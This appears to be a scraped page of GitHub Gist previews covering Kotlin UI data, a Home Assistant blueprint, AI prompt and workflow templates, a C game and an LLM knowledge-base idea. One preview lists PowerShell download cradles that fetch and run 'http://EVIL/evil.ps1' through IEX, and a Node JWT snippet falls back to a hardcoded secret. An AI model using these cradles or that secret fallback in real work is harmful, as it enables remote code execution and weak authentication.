ardakazanci

private data class GummyFlavor(
    val name: String,
    val color: Color,
)

private val gummyFlavors = listOf(
    GummyFlavor("Raspberry", Color(0xFFFF315F)),
    GummyFlavor("Tangerine", Color(0xFFFF8A24)),
    GummyFlavor("Grape", Color(0xFF9B5CFF)),
)

florianthiery

pom.xml examples

Florian Thiery M.Sc.

Römisch-Germanisches Zentralmuseum (RGZM)

i3mainz - Institut für Raumbezogene Informations- und Messtechnik

Blackshome

blueprint:
  name: Appliance Notifications & Actions
  description: >
    # 📳 Appliance Notifications & Actions
    
    **Version: 4.0**


    🤔 Watts your appliance up to, you're always in the know from start to finish! 🛎️🔌💸

Pythonation

1. برومبت التخطيط المطوّر (The Planning Protocol)

[الدور والمسؤولية] أنت الآن تعمل بصفة Staff Software Engineer ومدير تقني Tech Lead. مهمتك التخطيط المعماري الصارم للمشروع التالي: [أدخل وصف المشروع هنا]

[قواعد ما قبل التتخطيط] قبل البدء بالبروتوكولات، يجب أن تطبق مبدأ "Think Before Coding":

Duardus

const jwt = require('jsonwebtoken');
const authRepositorio = require('../repositorios/auth.repositorio');
const { AppError } = require('../errores/AppError');

const SECRET_KEY = process.env.JWT_SECRET || 'tu_clave_secreta_super_segura';

const authServicio = {
    loginConFirebase: async (token_firebase, admin) => {
        let decoded;
        try {

conradcaffier03

👁️ Give Claude Eyes — watch any video frame-by-frame

Freebie for the EYES keyword (reel-47, "Give Claude eyes"). Deliver as a public GitHub Gist — numbered steps the user can run today, not a raw link. Value-first: by the end you have a Claude Code skill that sees a video (every cut, every on-screen detail), not just reads its transcript.

---

Why this exists

Claude has no native video model. So every "analyze this video" tool just pulls the transcript — and

athallarizky

AI Workflow Template

How to run a software project with an AI agent — from PRD to production. Use this as a starting point for any project.

---

1. The Workflow (Phases)

HarmJ0y

# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")

# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')

# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r

# Msxml2.XMLHTTP COM object

koetoo

#include<stdio.h>
#include<conio.h>
#include<stdlib.h>
#include<time.h>

#define money 500000
#define size 9
int enmey;

const int atso[size]={1,10001,25001,50001,10000,

karpathy

LLM Wiki

A pattern for building personal knowledge bases using LLMs.

This is an idea file, it is designed to be copy pasted to your own LLM Agent (e.g. OpenAI Codex, Claude Code, OpenCode / Pi, or etc.). Its goal is to communicate the high level idea, but your agent will build out the specifics in collaboration with you.

The core idea

Most people's experience with LLMs and documents looks like RAG: you upload a collection of files, the LLM retrieves relevant chunks at query time, and generates an answer. This works, but the LLM is rediscovering knowledge from scratch on every question. There's no accumulation. Ask a subtle question that requires synthesizing five documents, and the LLM has to find and piece together the relevant fragments every time. Nothing is built up. NotebookLM, ChatGPT file uploads, and most RAG systems work this way.